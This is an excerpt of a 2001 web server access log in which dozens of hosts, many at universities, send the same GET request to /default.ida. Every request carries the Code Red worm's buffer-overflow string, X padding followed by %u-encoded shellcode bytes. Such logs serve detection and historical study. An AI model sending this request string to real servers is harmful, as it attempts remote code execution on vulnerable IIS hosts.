  1443. 20010909 14:33:11: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1444. 20010909 16:47:19: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1445. 20010909 17:27:28:  [63.164.120.72] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1446. 20010909 18:27:51: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1447. 20010909 20:10:06: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1448. 20010909 20:50:52: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1449. 20010909 21:39:09: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1450. 20010909 22:21:40: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1451. 20010909 22:23:53:  [61.154.12.110] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1452. 20010909 22:54:41: dialup-ccts5-55.cc.columbia.edu [128.59.6.64] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1453. 20010909 23:58:33: Keith.oird.vt.edu [128.173.64.231] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1454. 20010910 01:11:13: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1455. 20010910 01:28:31:  [208.48.171.204] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1456. 20010910 02:22:08: vp184049.reshsg.uci.edu [128.195.184.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1457. 20010910 03:10:50: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1458. 20010910 05:05:46: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1459. 20010910 06:06:18: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1460. 20010910 07:19:19: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1461. 20010910 08:30:55: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1462. 20010910 08:54:20: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1463. 20010910 10:16:37: ariadne.cs.columbia.edu [128.59.19.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1464. 20010910 11:26:56: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1465. 20010910 11:41:51: ksgb065.harvard.edu [128.103.192.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1466. 20010910 11:49:00: ariadne.cs.columbia.edu [128.59.19.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1467. 20010910 12:23:49: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1468. 20010910 12:30:53: kupinse.tc.columbia.edu [128.59.94.190] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1469. 20010910 12:49:46: bus84-239.gsb.columbia.edu [128.59.84.239] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1470. 20010910 12:59:35: ariadne.cs.columbia.edu [128.59.19.65] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1471. 20010910 13:03:57: bus84-239.gsb.columbia.edu [128.59.84.239] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1472. 20010910 13:18:49: su30.eastnet.gatech.edu [128.61.105.158] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1473. 20010910 16:47:10:  [206.47.90.78] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1474. 20010910 17:41:27:  [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1475. 20010910 20:01:11:  [61.187.26.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1476. 20010910 20:42:34:  [61.144.191.21] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1477. 20010910 22:57:10: pa2.student-orgs.purdue.edu [128.210.109.15] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1478. 20010911 00:45:59:  [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1479. 20010911 05:27:30:  [61.174.140.181] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1480. 20010911 09:19:48: ppp-128-22.21-151.libero.it [151.21.22.128] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  1481. 20010911 09:35:07: du-148-223-221-119.prodigy.net.mx [148.223.221.119] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
